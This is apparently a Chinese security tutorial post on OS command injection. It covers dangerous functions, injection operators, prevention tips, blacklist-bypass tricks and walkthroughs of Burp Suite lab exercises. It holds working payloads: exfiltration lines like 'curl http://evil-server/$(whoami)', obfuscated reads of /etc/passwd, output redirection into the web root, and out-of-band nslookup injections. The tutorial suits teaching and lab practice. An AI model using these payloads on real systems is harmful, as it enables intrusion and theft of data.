1. 漏洞简介

1.1 什么是命令执行漏洞

命令注入通常因为指Web应用在服务器上拼接系统命令而造成的漏洞。
该类漏洞通常出现在调用外部程序完成一些功能的情景下。比如一些Web管理界面的配置主机名/IP/掩码/网关、查看系统信息以及关闭重启等功能,或者一些站点提供如pingnslookup、提供发送邮件、转换图片等功能都可能出现该类漏洞。
漏洞分为系统命令执行(OS命令注入)代码命令注入(命令注入)

1.2 漏洞危害

  • 执行恶意代码
  • 获取系统敏感信息
  • 获取系统管理权限

1.3 危险函数

1.3.1 PHP

  • system
  • exec
  • passthru
  • shell_exec 或 `
  • popen
  • proc_open

1.3.2 Python

  • system
  • popen
  • subprocess.call
  • spawn

1.3.3 Java

  • java.lang.Runtime.getRuntime().exec(command)

1.4 常见注入方式

1.4.1 系统命令执行

  • & 后台执行
  • && 前一条成功才执行后一条
  • | 前一条输出作为下一条命令参数
  • || 前一条执行失败才执行后一条
  • 先执行前面然后执行后面
  • /n 0x0a \r\n %d0%a0
  • $() 替换

1.4.2 代码命令执行

  • PHP
  • Python
  • Java
存在Runtime类,在该类中提供了exec方法用以在单独的进程中执行特定的字符串命令
  • 其他
ImageMagick组件、bash漏洞、struts.2系列、thinkphp命令执行等

1.4.3 常用初始命令

常用的 Linux 和 Windows 命令
命令的目的
Linux
Windows
当前用户名
whoami
whoami
操作系统
uname -a
ver
网络配置
ifconfig
ipconfig /all
网络连接
netstat -an
netstat -an
运行进程
ps -ef
tasklist

2. 漏洞预防

  • 不使用时禁用相应函数
  • 尽量不要执行外部的应用程序或命令
  • 做输入的格式检查
  • 转义命令中的所有shell元字符:shell元字符包括 #&;`,|*?~<>^()[]{}$\
  • escapeshellcmd()函数过滤
  • 使用safe_mode_exec_dir 指定可执行文件的路径

3. 绕过方式

3.1 无回显示情况

  • bash反弹shell
  • DNS带外数据
  • http带外
    • curl http://evil-server/$(whoami)
    • wget http://evil-server/$(whoami)
  • 无带外时利用 sleep 或其他逻辑构造布尔条件
    • 考虑一个允许用户提交有关该站点的反馈的网站。用户输入他们的电子邮件地址和反馈消息。然后,服务器端应用程序会生成一封包含反馈的电子邮件给站点管理员。为此,它mail使用提交的详细信息调用程序。例如:
    • ping -c 10 127.0.0.1
  • 通过重定向输出来利用盲目的操作系统命令注入
    • 您可以将注入命令的输出重定向到 Web 根目录中的文件,然后您可以使用浏览器检索该文件。例如,如果应用程序从文件系统位置提供静态资源/var/www/static,那么您可以提交以下输入:whoami > /var/www/static/whoami.txt
    • >字符将whoami命令的输出发送到指定的文件。然后,您可以使用浏览器获取https://vulnerable-website.com/whoami.txt以检索文件,并查看注入命令的输出。

3.2 有回显情况

3.2.1 逻辑运算符绕过

3.2.2 在Win下执行bat时可以用%1a绕过

3.2.3 PHP环境可以使用%0a、%0d,分别代表\n 和\r

3.2.4 各种符号绕过

  • 引号绕过cat /etc/pass'w'd
  • 反斜杠绕过ca\t /etc/pas\swd
  • 通配符绕过/?in/?s => /bin/ls

3.2.5 使用数字地址绕过IP限制

3.2.6 空格绕过

  • < 符号 cat<123
  • \t / %09
  • ${IFS} 其中{}用来截断,比如cat$IFS2会被认为IFS2是变量名。另外,在后面加个$可以起到截断的作用,一般用$9,因为$9是当前系统shell进程的第九个参数的持有者,它始终为空字符串

3.2.7 黑名单绕过

  • a=l;b=s;$a$b
  • 编码绕过base64 echo "bHM=" | base64 -d
  • 未定义的初始化变量 cat$x /etc/passwd

3.2.8 长度限制绕过

上面的方法为通过命令行重定向写入命令,接着通过ls按时间排序把命令写入文件,最后执行直接在Linux终端下执行的话,创建文件需要在重定向符号之前添加命令 这里可以使用一些诸如w,[之类的短命令,(使用ls /usr/bin/?查看) 如果不添加命令,需要Ctrl+D才能结束,这样就等于标准输入流的重定向 而在php中 , 使用 shell_exec 等执行系统命令的函数的时候 , 是不存在标准输入流的,所以可以直接创建文件

3.3 常用符号

3.3.1 命令分隔符

  • %0a / %0d / \n / \r
  • ;
  • & / &&

3.3.2 通配符

  •  0到无穷个任意字符
  • ? 一个任意字符
  • [ ] 一个在括号内的字符,e.g. [abcd]
  • [ - ] 在编码顺序内的所有字符
  • [^ ] 一个不在括号内的字符

4. 靶场练习

4.1 使用 Burpsuite 官方靶场练习

4.1.1 Lab: OS command injection, simple case

题目:OS命令注入,简单案例
思路:查看哪里可能存在注入点,然后按题目要求进行注入修改
  • 使用 Burp 拦截请求,然后修改productId=2&storeId=1;whoami放行,完成。

4.1.2 Lab: Blind OS command injection with time delays

题目:具有时间延迟的盲操作系统命令注入
思路:在具有反馈页面中利用mail协议,插入ping -c 10 127.0.0.1实现延时
  • 使用 Burp 拦截请求,然后修改email后参数再放行,完成。
notion image

4.1.3 Lab: Blind OS command injection with output redirection

题目:带有输出重定向的盲操作系统命令注入
思路:通过email协议写入命令并保存结果为文件,然后再通过访问文件进行读取
  • 使用 Burp 拦截反馈页面请求,然后修改email后参数再放行;
    • notion image
在放行此请求后,会在该路径下生成了whoami.txt文件包含whoami命令结果;
  • 在请求图片的请求中(Burp 中 Porxy 默认关闭了筛选image选项),修改filename为结果文件,即可得到结果。
notion image

4.1.4 Lab: Blind OS command injection with out-of-band interaction

题目:带外交互的盲操作系统命令注入
思路:通过email协议进行命令执行nslookup指令访问 Burp 指定的带外;
  • 在email后添加||nslookup+带外|| 完成靶场。
notion image

4.1.5 Lab: Blind OS command injection with out-of-band data exfiltration

题目:带外数据泄露的盲操作系统命令注入
思路:通过email协议进行带外
  • 拦截请求后在email后添加
notion image
  • 然后在 Brup 官方带外中可以查看到
notion image
 

参考文献

 
💡
本文章仅提供学习使用,有任何问题,欢迎您在底部评论区留言,一起交流~
 
 
XSS和CSRF区别文件包含漏洞